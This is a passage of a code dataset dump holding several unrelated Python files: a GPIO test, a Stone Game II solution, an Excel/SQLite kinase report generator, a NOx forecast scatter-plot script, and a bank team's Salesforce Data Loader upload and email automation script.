gpio.pins.p8_15.is_high()\n\ndef test_can_close(monkeypatch):\n fake_filesystem.hook(monkeypatch)\n\n gpio.pins.p8_15.open_for_input()\n gpio.pins.p8_15.close()\n\n value_file = fake_filesystem.get(\"/sys/class/gpio/gpio47/value\")\n value_file.opened_mode = None\n\n unexport_file = fake_filesystem.get(\"/sys/class/gpio/unexport\")\n assert unexport_file.content == \"47\"\n\ndef test_can_open_for_input_with_pullup(monkeypatch):\n fake_filesystem.hook(monkeypatch)\n monkeypatch.setattr(\"os.listdir\", lambda directory: [\"bone_capemgr.8\"])\n slots_file = fake_filesystem.get(\"/sys/devices/bone_capemgr.8/slots\")\n slots_file.content = \"some other overlay\"\n def check_command(command): assert \"gimpbbio_P8_15-00A0\" in command\n monkeypatch.setattr(\"os.system\", check_command)\n \n gpio.pins.p8_15.open_for_input(pull = gpio.PULL_UP)\n\n value_file = fake_filesystem.get(\"/lib/firmware/gimpbbio_P8_15-00A0.dts\")\n assert \"P8_15\" in value_file.content\n assert slots_file.content == \"gimpbbio_P8_15\"\n\ndef test_can_open_for_input_with_active_low(monkeypatch):\n fake_filesystem.hook(monkeypatch)\n\n gpio.pins.p8_15.open_for_input(active_state = gpio.ACTIVE_LOW)\n\n direction = fake_filesystem.get(\"/sys/class/gpio/gpio47/active_low\")\n assert direction.content == \"1\"\n","sub_path":"gimpbbio/gimpbbio/tests/test_gpio.py","file_name":"test_gpio.py","file_ext":"py","file_size_in_byte":3376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"41227636","text":"# Time: O(n*(logn)^2)\n# Space: O(nlogn)\n\n# 1140 weekly contest 147 7/27/2019\n\n# Alex and Lee continue their games with piles of stones. There are a number of piles arranged in a row,\n# and each pile has a positive integer number of stones piles[i]. The objective of the game is\n# to end with the most stones.\n#\n# Alex and Lee take turns, with Alex starting first. Initially, M = 1.\n# On each player's turn, that player can take all the stones in the first X remaining piles,\n# where 1 <= X <= 2M. Then, we set M = max(M, X).\n#\n# The game continues until all the stones have been taken.\n# Assuming Alex and Lee play optimally, return the maximum number of stones Alex can get.\n\n# Input: piles = [2,7,9,4,4]\n# Output: 10\n# Explanation: If Alex takes one pile at the beginning, Lee takes two piles, then Alex takes 2 piles\n# again. Alex can get 2 + 4 + 4 = 10 piles in total. If Alex takes two piles at the beginning,\n# then Lee can take all three piles left. In this case, Alex get 2 + 7 = 9 piles in total.\n# So we return 10 since it's larger.\n\n# dp[i, m] = maximum stones the current player can get from piles[i:] with M=m\n# A[i]= total stones of piles[i:]\n# when current player pick stones from i to i+x-1\n# -> the other player's stones: dp[i+x, max(m, x)]\n# -> total stones of current player: A[i] - dp[i+x, max(m, x)]\n# we want the current player gets maximum means the other player gets minimum\n\nclass Solution(object):\n def stoneGameII(self, piles):\n \"\"\"\n :type piles: List[int]\n :rtype: int\n \"\"\"\n from functools import lru_cache\n @lru_cache(None)\n def dp(i, m):\n if i + 2 * m >= N: return piles[i]\n return piles[i] - min(dp(i + x, max(m, x)) for x in range(1, 2 * m + 1))\n\n N = len(piles)\n for i in range(N - 2, -1, -1):\n piles[i] += piles[i + 1]\n return dp(0, 1)\n\n def stoneGameII_useLookup(self, piles):\n def dp(i, m):\n if (i, m) not in lookup:\n if i + 2 * m >= len(piles):\n lookup[i, m] = piles[i]\n else:\n lookup[i, m] = piles[i] - \\\n min(dp(i+x, max(m, x))\n for x in range(1, 2*m+1))\n return lookup[i, m]\n\n for i in reversed(range(len(piles)-1)):\n piles[i] += piles[i+1]\n lookup = {}\n return dp(0, 1)\n\nprint(Solution().stoneGameII([2,7,9,4,4])) # 10\n# Alex: (0, 1)->26-16=10\n# Lee: (1, 1)->24-8=16; (2, 2)->17\n# Alex: (2, 1)->17-4=13, (3,2)->8;\n# Lee: (3, 1)->8, (4,2)->4;","sub_path":"Python/stone-game-ii.py","file_name":"stone-game-ii.py","file_ext":"py","file_size_in_byte":2598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"287978815","text":"import os\nimport sys\nimport subprocess\nimport tempfile\nimport argparse\nimport sqlite3\nimport pandas as pd\nimport numpy as np\nimport openpyxl # v3.0.3\nfrom openpyxl.utils.dataframe import dataframe_to_rows\nfrom openpyxl.utils import get_column_letter\nfrom openpyxl.styles import Font, Color, colors, Alignment, Border, Side, PatternFill\nfrom datetime import datetime\nimport time\n\ndef getOpts():\n\tparser = argparse.ArgumentParser(description = '')\n\tparser.add_argument('-e', '--excel', type=str, default='Kinase-hit_PDBs_details_v1.2_9_08_j.xlsx', metavar='<arg1>', help= 'description')\n\tparser.add_argument('-d', '--db', type=str, default='khit-status.sql', metavar= '<sqlite db>', help= 'sqlite db')\n\targv = parser.parse_args()\n\treturn(argv)\n\ndef DF_sqlite(db):\n\tcon=sqlite3.connect(db)\n\tcursor=con.cursor()\n\n\tcursor.execute(\"SELECT name FROM sqlite_master WHERE type=\\'table\\';\")\n\tTABLE=[x[0] for x in cursor.fetchall()]\n\n\tdf_t=pd.DataFrame()\n\n\tfor table_name in TABLE:\n\t\ttable=pd.read_sql('SELECT * FROM \"{0}\"'.format(table_name), con=con)\n\t\ttable.set_index(\"index\",inplace=True)\n\t\ttable.loc[table_name+\"_total\",:]=table.sum(axis=0)\n\t\tif len(list(df_t.columns))>0:\n\t\t\tfor col in set(table.columns)-set(df_t.columns):\n\t\t\t\ttable.drop(columns=[col], inplace=True)\n\t\tdf_t=df_t.append(table)\n\n\texcel_to=df_t.loc[df_t.index.str.contains('total'),:]\n\texcel_to.index=[l.split('_')[:-1][0] for l in list(excel_to.index)]\n\tRESULT=excel_to.T.fillna(0)\n\treturn RESULT.astype(int)\n\ndef DF_excel(excel):\n\tBOX=pd.read_excel(excel, header=1,index_col=0)\n\tstart_index=int(list(BOX.columns).index('Blank')+1)\n\tend_index=int(list(BOX.columns).index('Suggestion'))\n\t\n\thinge=BOX.T[start_index:end_index].T.values.tolist()\n\thinge_filter=[[','.join([a for a in l if str(a)!='nan'])] for l in hinge]\n\thinge_count=[[l[0], len(l[0].split(',')) if l[0]!='' else 0] for l in hinge_filter]\n\thinge_df=pd.DataFrame(hinge_count, columns=['Hinge', 'Hinge Count'])\n\thinge_df.index+=1\n\n\tBOX['Lig']=BOX['Lig'].str.split('(', expand=True)\n\n\treturn pd.merge(BOX[['Kinase', 'PDB', 'Lig','Chain','차수']], hinge_df, left_index=True, right_index=True, how='outer')\n\n### MAIN ###\ndef main (db, excel):\n\tDF1=DF_excel(excel)\n\tDF2=DF_sqlite(db)\n\tprint(DF1)\n\tprint(DF2)\n\n\tKEY=(DF1['Kinase']+\"_\"+DF1['PDB'].str.lower()+DF1['Chain'].astype(str)+\"_\"+DF1['Lig'].astype(str))\n\tfor key in KEY:\n\t\tif not 'CDK7' in key:\n\t\t\tKEY.replace(key, '_'.join(key.split('_')[:2]), inplace=True)\n\n\tDF1['KEY']=KEY\n\tMERGED_DB=pd.merge(DF1, DF2, how='right', left_on='KEY', right_index=True)\n\t\n\tMERGED_DB['postDM']=0\n\tMERGED_DB['preDM']=0\n\tMERGED_DB['preDM'][MERGED_DB['DM'] > 0]=1\n\tMERGED_DB['Complete']=''\n\tMERGED_DB['Server-info']='-'\n\tMERGED_DB['PDB(Lig)']=MERGED_DB['PDB']+\"(\"+MERGED_DB['Lig'].astype(str)+\")\"\n\n\tMERGED_DB=MERGED_DB[['KEY', 'Kinase', 'PDB(Lig)', '차수', 'Hinge', 'Hinge Count', 'DARC', 'preDM', 'DM', 'postDM', 'Complete', 'Server-info']]\n\tprint(MERGED_DB)\n\n\t# ##########################\n\t# # excel format\n\t# ##########################\n\tEXCEL='{}-khit-report.xlsx'.format(datetime.today().strftime('%y%m%d-%H%M%S'))\n\tCELL_BOX = Border(left=Side(border_style=\"thin\", \n color='FF000000'),\n right=Side(border_style=\"thin\",\n color='FF000000'),\n top=Side(border_style=\"thin\",\n color='FF000000'),\n bottom=Side(border_style=\"thin\",\n color='FF000000'),\n diagonal=Side(border_style=\"thin\",\n color='FF000000'),\n diagonal_direction=0,\n outline=Side(border_style=\"thin\",\n color='FF000000'),\n vertical=Side(border_style=\"thin\",\n color='FF000000'),\n horizontal=Side(border_style=\"thin\",\n color='FF000000')\n )\n\n\twb=openpyxl.Workbook()\n\tws=wb.active\n\tws.title='khit report'\n\n\tfor r in dataframe_to_rows(MERGED_DB, header=True, index=False):\n\t\tws.append(r)\n\n\tCOLUMN_WIDTHS=dict()\n\tfor row in ws.iter_rows(max_col=len(list(ws.columns)), max_row=len(list(ws.rows)), min_row=1):\n\t\tfor i, cell in enumerate(row) :\n\t\t\t# column size\n\t\t\tif i+1 in COLUMN_WIDTHS:\n\t\t\t\tif COLUMN_WIDTHS[i+1]<len(str(cell.value))+5:\n\t\t\t\t\tCOLUMN_WIDTHS[i+1]=len(str(cell.value))+5\n\t\t\telse:\n\t\t\t\tCOLUMN_WIDTHS[i+1]=len(str(cell.value))+5\n\n\t\t\t# header style\n\t\t\tif cell.row==1:\n\t\t\t\tcell.font=Font(bold=True)\n\t\t\t\tcell.fill=PatternFill(patternType='solid', fgColor=Color(rgb='FFDCDCDC')) # color : Gainsboro\n\n\t\t\t# cell border\n\t\t\tcell.border=CELL_BOX\n\n\t# adjust auto column size\n\tfor key in list(COLUMN_WIDTHS.keys()):\n\t\tws.column_dimensions[get_column_letter(key)].width=COLUMN_WIDTHS[key]\n\n\twb.save(EXCEL)\n### ACTION ### \nif __name__ == \"__main__\":\n\targv = getOpts()\n\n\tmain( db=argv.db , excel=argv.excel )\n\tsys.exit(0)","sub_path":"KHIT/khit-report.py","file_name":"khit-report.py","file_ext":"py","file_size_in_byte":4762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"90406014","text":"import xarray as xr\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\nfrom matplotlib.dates import DateFormatter\nimport pandas as pd\nimport numpy as np\nimport openaq\nfrom datetime import datetime\nfrom matplotlib.backends.backend_pdf import PdfPages\nfrom scipy.odr import *\nimport warnings\nwarnings.simplefilter(action='ignore', category=FutureWarning)\n\n#defining emission to be observed and conversion (can be found in conversion file)\nemission='no2'\nEmission='NO2'\nconv = 1.88*10**9\n\nenvironment_type='Urban'\n\nweek='weekend'\n\nif week == 'fullweek':\n day1=0\n day2=6\nif week == 'weekday':\n day1=0\n day2=4\nif week == 'weekend':\n day1=5\n day2=6\n\n#defining dates of Defra data\ndate1='2019-09-22'\ndate2='2019-11-04'\n\n#types of environment: Background Urban , Traffic Urban , Industrial Urban , Background Rural , Industrial Suburban , Background Suburban .\n\nmetadata_csv='/users/mtj507/scratch/defra_data/defra_site_metadata.csv'\nmetadata=pd.read_csv(metadata_csv, low_memory=False)\nmetadata=metadata.loc[metadata['Environment Type'].str.contains(environment_type)]\na=list(metadata['Site Name'])\n\n#change to UTF csv before moving across to Viking and edit doc so its easy to import by deleting first 3 rowns and moving time and date column headers into same row as locations. Delete empty rows up to 'end' at bottom and format time cells to time.\nno2_defra_csv='/users/mtj507/scratch/defra_data/defra_no2_uk_2019.csv'\nddf=pd.read_csv(no2_defra_csv, low_memory=False)\nddf.index=pd.to_datetime(ddf['Date'], dayfirst=True)+pd.to_timedelta(ddf['Time'])\nddf=ddf.loc[:, ~ddf.columns.str.contains('^Unnamed')]\nddf=ddf.dropna(axis=0)\nddf=ddf.replace('No data', np.nan)\nb=list(ddf.columns)\nc=set(a).intersection(b)\nddf=ddf[ddf.columns.intersection(c)]\nd=list(ddf.columns)\nddf['hour']=ddf.index.hour\nddf['weekday']=ddf.index.weekday\nddf['month']=ddf.index.month.astype(str)\nddf['month']=ddf['month'].str.zfill(2)\nddf['day']=ddf.index.day.astype(str)\nddf['day']=ddf['day'].str.zfill(2)\nddf['day and month']=ddf['month']+ddf['day']\n\nddf=ddf.loc[date1:date2]\nddf=ddf.loc[(ddf['weekday'] >= day1) & (ddf['weekday'] <= day2)]\n\nno_defra_csv='/users/mtj507/scratch/defra_data/defra_no_uk_2019.csv'\nnoddf=pd.read_csv(no_defra_csv, low_memory=False)\nnoddf.index=pd.to_datetime(noddf['Date'], dayfirst=True)+pd.to_timedelta(noddf['Time'])\nnoddf=noddf.loc[:, ~noddf.columns.str.contains('^Unnamed')]\nnoddf=noddf.dropna(axis=0)\nnoddf=noddf.replace('No data', np.nan)\ne=list(noddf.columns)\nf=set(d).intersection(e)\nnoddf=noddf[noddf.columns.intersection(f)]\nnoddf['hour']=noddf.index.hour\nnoddf['weekday']=noddf.index.weekday\nnoddf['month']=noddf.index.month.astype(str)\nnoddf['month']=noddf['month'].str.zfill(2)\nnoddf['day']=noddf.index.day.astype(str)\nnoddf['day']=noddf['day'].str.zfill(2)\nnoddf['day and month']=noddf['month']+noddf['day']\n\nnoddf=noddf[date1:date2]\nnoddf=noddf.loc[(noddf['weekday'] >= day1) & (noddf['weekday'] <= day2)]\n\nmetadata=metadata[metadata['Site Name'].isin(c)]\nmetadata=metadata.reset_index(drop=False)\narea=metadata['Zone']\nlocation=metadata['Site Name']\nlatitude=metadata['Latitude']\nlongitude=metadata['Longitude']\nenvironment=metadata['Environment Type']\nno_locations=len(metadata.index)\n\nplt.xlabel('Observation Median ug/m3')\nplt.ylabel('Forecast Median ug/m3')\nplt.title('NOx '+environment_type+' '+week)\n\nobs_list=[]\nobsQ1_list=[]\nobsQ3_list=[]\nnasa_list=[]\nnasaQ1_list=[]\nnasaQ3_list=[]\n\nobslist1=[]\nobslist2=[]\nobslist3=[]\n\nmodlist1=[]\nmodlist2=[]\nmodlist3=[]\n\ntypes=list(pd.unique(environment))\n\nfor i in np.arange(0, no_locations):\n ddf1=ddf.loc[:,['hour', f'{location[i]}']]\n noddf1=noddf.loc[:,[f'{location[i]}']]\n ddf1['no2']=ddf1[f'{location[i]}'].astype(float)\n noddf1['no']=noddf1[f'{location[i]}'].astype(float)\n ddf1['no']=noddf1['no']\n ddf1['nox']=ddf1['no']+ddf1['no2']\n ddf1=ddf1.dropna(axis=0)\n ddf_median=ddf1.groupby('hour').median()\n ddf_Q1=ddf1.groupby('hour')['nox'].quantile(0.25)\n ddf_Q3=ddf1.groupby('hour')['nox'].quantile(0.75)\n env=f'{environment[i]}'\n obs_median=ddf_median['nox'].mean()\n obs_median=float(round(obs_median,2))\n obs_Q1=ddf_Q1.mean()\n obs_Q1=float(round(obs_Q1,2))\n obs_Q3=ddf_Q3.mean()\n obs_Q3=float(round(obs_Q3,2))\n\n obs_list.append(obs_median)\n obsQ1_list.append(obs_Q1)\n obsQ3_list.append(obs_Q3)\n\n days_of_data=len(pd.unique(ddf['day and month']))\n dates=pd.unique(ddf['day and month'])\n mod_data = np.zeros((24,days_of_data)) \n \n for j in range(len(dates)):\n forecast_date=f'2019{str(dates[j]).zfill(4)}'\n f='/users/mtj507/scratch/nasa_forecasts/forecast_'+forecast_date+'.nc'\n ds=xr.open_dataset(f)\n spec=ds[emission].data\n nospec=ds['no'].data\n lats=ds['lat'].data\n lons=ds['lon'].data\n model_lat=np.argmin(np.abs(latitude[i]-lats))\n model_lon=np.argmin(np.abs(longitude[i]-lons))\n df_model=pd.DataFrame(ds[emission].data[:,0,model_lat, model_lon])\n nodf_model=pd.DataFrame(ds['no'].data[:,0,model_lat, model_lon])\n df_model.index=ds.time.data\n nodf_model.index=ds.time.data\n df_model.columns=[emission]\n nodf_model.columns=['no']\n df_model['no2']=df_model['no2']*conv\n df_model['no']=nodf_model['no']*1.23*10**9\n df_model['nox']=df_model['no2']+df_model['no']\n df_model['Hour']=df_model.index.hour\n df_model=df_model.reset_index()\n df_model=df_model.iloc[0:24]\n df_model=df_model.sort_index() \n \n \n for k in range(24):\n mod_data[k,j] = df_model['nox'].loc[df_model['Hour'] == k].values[0]\n \n \n nasa_median=np.median(mod_data)\n nasa_median=float(round(nasa_median,2))\n nasa_Q1=np.percentile(mod_data,25)\n nasa_Q1=float(round(nasa_Q1,2))\n nasa_Q3=np.percentile(mod_data,75)\n nasa_Q3=float(round(nasa_Q3,2))\n \n nasa_list.append(nasa_median)\n nasaQ1_list.append(nasa_Q1)\n nasaQ3_list.append(nasa_Q3)\n\n if len(types) == 1:\n if env == types[0]:\n obslist1.append(obs_median)\n label1=types[0]\n modlist1.append(nasa_median)\n\n if len(types) == 2:\n if env == types[0]:\n obslist1.append(obs_median)\n label1=types[0]\n modlist1.append(nasa_median)\n if env == types[1]:\n obslist2.append(obs_median)\n label2=types[1]\n modlist2.append(nasa_median)\n\n if len(types) >=3:\n if env == types[0]:\n obslist1.append(obs_median)\n label1=types[0]\n modlist1.append(nasa_median)\n if env == types[1]:\n obslist2.append(obs_median)\n label2=types[1]\n modlist2.append(nasa_median)\n if env == types[2]:\n obslist3.append(obs_median)\n label3=types[2]\n modlist3.append(nasa_median)\n\n print(location[i])\n\ngraph_data={'obs':obs_list,'obs Q1':obsQ1_list,'obs Q3':obsQ3_list,'forecast':nasa_list,'forecast Q1':nasaQ1_list,'forecast Q3':nasaQ3_list}\nsdf=pd.DataFrame(graph_data)\nsdf=sdf[sdf > 0].dropna()\nsdf=sdf.dropna()\nsdf['obs_err']=sdf['obs Q3']-sdf['obs Q1']\nsdf['fcast_err']=sdf['forecast Q3']-sdf['forecast Q1']\nsdf=sdf.reset_index(drop=True)\n\nx_data=sdf['obs']\ny_data=sdf['forecast']\nx_err=sdf['obs_err']\ny_err=sdf['fcast_err']\n\ndef linear_func(p, x):\n y=p*x\n return y\n\nlinear=Model(linear_func)\ndatas=RealData(x_data,y_data,sx=x_err,sy=y_err)\nodr=ODR(datas,linear,beta0=[0])\noutput=odr.run()\n#output.pprint()\nbeta=output.beta\nbetastd=output.sd_beta\n\nplt.plot(x_data,linear_func(beta,x_data),color='black',alpha=0.7)\n\ntextbeta=float(output.beta)\ntextbeta=str(round(textbeta,3))\ntextbetastd=float(output.sd_beta)\ntextbetastd=str(round(textbetastd,3))\nsites=str(no_locations)\n\ntext=sites+' sites \\n'+'Orthogonal Distance Regression: \\n Gradient = '+textbeta+'\\n Standard error = '+textbetastd\n\nplt.scatter(obslist1,modlist1,color='red',label=label1,marker='o')\nif len(types) >= 2: \n plt.scatter(obslist2,modlist2,color='blue',label=label2,marker='x')\nif len(types) >= 3:\n plt.scatter(obslist3,modlist3,color='green',label=label3,marker='v')\n\nif len(types) == 1:\n plt.annotate(text,fontsize=7,xy=(0.01,0.85),xycoords='axes fraction')\nif len(types) >= 2:\n plt.legend(loc='best')\n plt.annotate(text,fontsize=7,xy=(0.5,0.85),xycoords='axes fraction')\n\nxy=np.linspace(*plt.xlim())\nplt.plot(xy,xy,linestyle='dashed',color='grey')\n\npath='/users/mtj507/scratch/obs_vs_forecast/plots/scatter/'\nplt.savefig(path+'nox_'+environment_type+'_'+week+'.png')\nplt.close()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"nox_scatter.py","file_name":"nox_scatter.py","file_ext":"py","file_size_in_byte":8498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"316572672","text":"#Scripting by James DuClos james.duclos@commercebank.com\n#RLPS, Commercial Card Data Intelligence team. RLPSCCDataAnalytics@CommerceBank.com\n#Dec 2016\n\n#Module Imports\nimport os, csv, openpyxl, win32com.client, logging, traceback\nfrom datetime import date, datetime\nfrom shutil import copy, move\nfrom sv2_pack.email_sv2 import SMTP_email as email\n\n#Testing Options\nfrom sv2_pack.testing_class import live\n\n###########Turn on or off parts of module##########\n# 1 == on , 0 == off\nlive.dl = 1\nlive.emails = 1\nlive.archive = 1\n\nlive.cso = 1\nlive.call_log = 1\nlive.mass_declines = 1\n###################################################\n\n#Important folder locations\nworking_folder = \"//rlps_kw-84gv942/Scripting/to_SF/cso_mass_decline/\"\n#working_folder = \"//cbsh.com/kcdfspool/rlps/5803 Commercial Card/Data Analytics/SFDC/Enrollment Files/CSO/\"\ndrop_folder = \"//cbsh.com/kcdfspool/rlps/5803 Commercial Card/Data Analytics/SFDC/Enrollment Files/CSO/\"\narchive_folder = drop_folder + \"archive/\"\n\n#data loader exe path as located on the desktop\ndl_path = \"C:/Program Files/salesforce.com/Data Loader/bin/\"\n \n#email Distribution lists\nfrom_address = \"kc-sa-dataintel@commercebank.com\"\ncso_dist_list = [\"rlpsccdataanalytics@commercebank.com\",\"kyle.dumas@commercebank.com\", 'james.duclos@commercebank.com']\n\nmass_declines_dist_list = cso_dist_list\n\n#declare dates for later use\ntoday = date.today()\ndate = today.strftime('%m-%d-%Y')\n\n#Setup logging info\nlogging.basicConfig(filename = working_folder + \"bin\\py_log.sv2_log\", level=logging.DEBUG, format='%(asctime)s %(message)s')\n\n#CSO Upload Attachement###################################################\ndef cso_upload(file):\n \n logging.info(\"\\n\\nProcess CSO with: \" + file)\n \n ###########################Import and split spreadsheet###############\n \n #Location of the current file we are sorting/uploading/emailing\n cso_file = file\n cso_file = drop_folder + file\n header_dict = {}\n \n #Import cso file into a openpyxl object\n wb = openpyxl.load_workbook(cso_file)\n sh = wb.get_active_sheet()\n logging.debug(\"Sheet:\" + str(sh))\n \n #Append rows in spreadsheet to lines list\n lines = []\n for r in sh.rows:\n for c in r:\n if c.value == None:\n c.value = \"\"\n \n lines.append([cell.value for cell in r]) \n\n #print(lines)\n #Assign Header Row\n header_row = lines[0]\n \n #Put header into dictionary that can be referenced by integer\n for i, col_name in enumerate(header_row):\n header_dict[col_name.lower()] = i\n \n #These variables will control the content that gets emailed back to the enrollment team\n cso_email_data = []\n cso_email_file = working_folder + \"bin/cso_email_file.csv\"\n \n #Clear contents of the following fields for each id\n #We will append these columns to the final file\n cso_blanks = ['Card Declined Reason','Buyer Working Reason','Card First Use Date',\n 'Card Closed Date','Card Withdrew Date','TSYS Combined APPLID','TSYS APPLID']\n \n #These variables control the data that will get uploaded to salesforce\n cso_upload_data = []\n cso_upload_file = working_folder + \"bin/cso_upload_file.csv\"\n \n #Split file into two\n #cso_email_data get sent back to enrollment if criteria below is not met.\n #based on enrollment status and platform payment type\n logging.debug(\"Splitting Spreadsheet into files.\")\n\n for line in lines[1:]:\n\n #If 'Card Status' is not 'Enrolled' sort to other variable\n if line[header_dict['card status']].lower() != 'enrolled': \n cso_email_data.append(line)\n \n #If Original Status is Vendor Inactive, reject\n elif line[header_dict['original status']].lower() == 'vendor inactive':\n cso_email_data.append(line)\n \n #If 'Platform Payment Type' is not 'AF Vendor', 'SUGA - CPA', or 'SUGA - CPP' put in other variable\n elif line[header_dict['platform payment type']].lower() not in ('af vendor', 'suga - cpa', 'suga - cpp', ''):\n cso_email_data.append(line)\n \n #Else write to data variable to be sent to SFDC \n else:\n for i in cso_blanks:\n line.append(\"\")\n cso_upload_data.append(line)\n \n #####################Email back to Enrollment Team#######################\n\n logging.debug(\"Writing to email file.\")\n #Write data to email file\n with open(cso_email_file, \"w\") as cso_write_email:\n #Write header to email file\n cso_write_email.write(\",\".join(map(str, header_row))+\"\\n\")\n \n #Write every line in email list to file\n for line in cso_email_data:\n cso_write_email.write(\"\\\"\" + \"\\\",\\\"\".join(map(str, line))+ \"\\\"\\n\")\n \n #Setup email\n subject = \"CSO errors for: \" + date\n body = \"The records in the attached file have not been uploaded to salesforce.\\n\\nThe records do not include the correct Card Status and/or Platform Payment Type.\"\n #Send Email\n if live.emails: email(cso_dist_list, subject, body, file = [cso_email_file] )\n \n #####################Upload data to salesforce#############################\n\n \n #Fields we will later exclude from file\n upload_exclude = ['Original Status', 'Short Comment']\n \n #Write data to file to be uploaded to SF\n logging.debug(\"Writing data to upload to SFDC\")\n with open(cso_upload_file, \"w\") as cso_write_file:\n \n #ids we are about to upload\n #Append Blank columns to file to clear those fields in salesforce for the\n header_row.extend(cso_blanks)\n \n #put header into dictionary that can be referenced by integer\n for i, col_name in enumerate(header_row):\n header_dict[col_name] = i\n\n list_of_contents = [i for i in header_row if not i in upload_exclude]\n logging.info(\"list of contents \" + str(list_of_contents))\n logging.info(\"header_dict\" + str(header_dict))\n \n output_indexes = [header_dict[content] for content in list_of_contents]\n logging.info(output_indexes)\n \n output_header_row = []\n for i in output_indexes:\n output_header_row.append(header_row[i])\n \n logging.debug(output_header_row)\n logging.debug(\"Output Indexes \" + str(output_indexes))\n \n cso_write_file.write(\",\".join(map(str, output_header_row))+\"\\n\")\n \n logging.debug(\"Writing to upload file.\")\n for line in cso_upload_data:\n out_line = []\n for i in output_indexes:\n if i > len(line)-1:\n break\n else:\n out_line.append(line[i])\n cso_write_file.write(\"\\\"\" + \"\\\",\\\"\".join(map(str, out_line))+ \"\\\"\\n\")\n \n\n\n #Send upload_file to salesforce using data loader\n logging.debug(\"Starting Data loader\")\n args = \"process.bat\" + \" \" + working_folder + \"bin/\" + \" update_cso\"\n os.chdir(dl_path)\n \n if live.dl: \n os.system(args)\n \n #Define Error and Success Filenames\n err = \"c:/Scripting/to_SF/cso_mass_decline/bin/cso_errors.csv\"\n suc = \"c:/Scripting/to_SF/cso_mass_decline/bin/cso_successes.csv\"\n \n #Setup Email\n if live.emails: \n email(cso_dist_list,\"CSO completed: \" + date,\"CSOs have been uploaded. \\n \\n\" + file,file = [err])\n \n if live.archive:\n logging.info(\"Archiving file\")\n move(drop_folder + file, archive_folder + file)\n if live.dl:\n #Move error files to status folder:\n dst = working_folder + \"/status/\"\n try:\n move(err, dst + file[:-4] + \"_errors.csv\")\n move(suc, dst + file[:-4] + \"_successes.csv\")\n except:\n logging.error(\"error moving mass decline error/success files\")\n#END CSO ####################################################\n\n\n\n#Call LOG Upload########################################################\ndef call_log(file):\n\n logging.info(\"\\n\\nProcess Call Log with: \" + file)\n \n #Copy file to bin for dataloader to pickup\n logging.debug(\"Files: Source, Dest:\")\n logging.debug(drop_folder + file)\n logging.debug(working_folder + \"bin/call_log.xlsx\")\n \n #copy(drop_folder + file, working_folder + \"bin/call_log.xlsx\")\n \n #Location of the current file we are sorting/uploading/emailing\n call_log_file = drop_folder + file\n \n #Import cso file into a openpyxl object\n wb = openpyxl.load_workbook(call_log_file)\n sh = wb.get_active_sheet()\n logging.debug(\"Sheet: \" + str(sh))\n \n \n lines = []\n for r in sh.rows:\n for c in r:\n if c.value == None:\n c.value = \"\"\n \n c.value = str(c.value).replace('\\n', '')\n \n lines.append([cell.value for cell in r])\n \n #print(repr(lines[:4]))\n \n #Append rows in spreadsheet to lines list\n with open(working_folder + \"bin/call_log.csv\", 'w', newline='') as write_file:\n c = csv.writer(write_file, delimiter = ',', quotechar = '\"')\n \n for line in lines:\n c.writerow(line)\n\n #Insert to salesforce \n logging.debug(\"Running data loader to insert call_log\")\n args = \"process.bat\" + \" \" + working_folder + \"bin/\" + \" call_log\"\n os.chdir(dl_path)\n \n if live.dl:\n os.system(args)\n\n if live.archive:\n logging.info(\"Archiving file\")\n move(drop_folder + file, archive_folder + file)\n if live.dl:\n #Move error files to status folder:\n err = \"c:/Scripting/to_SF/cso_mass_decline/bin/call_log_errors.csv\"\n suc = \"c:/Scripting/to_SF/cso_mass_decline/bin/call_log_successes.csv\"\n dst = working_folder + \"/status/\"\n try:\n move(err, dst + file[:-4] + \"_errors.csv\")\n move(suc, dst + file[:-4] + \"_successes.csv\")\n except:\n logging.error(\"error moving call_log error/success files\")\n \n if live.emails:\n email(cso_dist_list, \"Call Log completed: \" + date, \"Call Log has been uploaded. \\n\" + file, file = [dst + file[:-4] + \"_errors.csv\"], force_send = False)\n \n#end cso log Upload####################################################\n\n\n\n#Mass Declines ####################################################\ndef mass_declines(file):\n \n #Update to salesforce: Vendor Enrollment ID, New Card Status, New Card Declined Reason\n #Vendor Enrollment Object\n logging.info(\"\\n\\nProcess Mass Declines with: \" + file)\n #Build full file path\n md_file = drop_folder + file\n header_dict = {}\n \n #Import cso file with openpyxl\n wb = openpyxl.load_workbook(md_file)\n sh = wb.get_active_sheet()\n logging.debug(\"Sheet: \" + str(sh))\n lines = []\n \n logging.debug(\"writing rows in sheet to object\")\n for r in sh.rows:\n for c in r:\n if c.value == None:\n c.value = \"\"\n \n lines.append([cell.value for cell in r])\n \n #Assign Header Row\n header_row = lines[0]\n header_row.append(\"Buyer Working Reason\")\n \n for line in lines:\n line.append(\"\")\n\n #Put header into dictionary to reference by int\n for i, col_name in enumerate(header_row):\n header_dict[col_name] = i\n \n for line in lines[1:]: \n for i, col_name in enumerate(header_row):\n header_dict[col_name] = i\n\n #Create list of columns to include in final file\n upload_include = [\"Vendor Enrollment ID\", \"New Card Status\", \"New Card Declined Reason\", \"Buyer Working Reason\"]\n md_upload_file = working_folder + \"bin/mass_declines.csv\"\n \n #Open and write pertinent data to file\n with open(md_upload_file, \"w\") as md:\n list_of_contents = [i for i in header_row if i in upload_include]\n logging.debug(\"list of contents \" + str(list_of_contents))\n logging.debug(\"header_dict\" + str(header_dict))\n output_indexes = [header_dict[content] for content in list_of_contents]\n logging.debug(output_indexes)\n \n output_header_row = []\n for i in output_indexes:\n output_header_row.append(header_row[i])\n \n logging.debug(output_header_row)\n logging.debug(\"Output Indexes \" + str(output_indexes))\n \n md.write(\",\".join(map(str, output_header_row))+\"\\n\")\n \n for line in lines[1:]:\n out_line = []\n for i in output_indexes:\n if i > len(line)-1:\n break\n else:\n out_line.append(line[i])\n md.write(\"\\\"\" + \"\\\",\\\"\".join(map(str, out_line))+ \"\\\"\\n\")\n \n #Run dataloader with md_upload_file'\n logging.debug(\"Running Data Loader\")\n args = \"process.bat\" + \" \" + working_folder + \"bin/\" + \" mass_declines\"\n os.chdir(dl_path)\n \n #Communicate with the outside world\n if live.dl: \n os.system(args) \n \n if live.emails:\n dist_list = mass_declines_dist_list\n email(cso_dist_list, \"Mass Declines completed: \" + date, 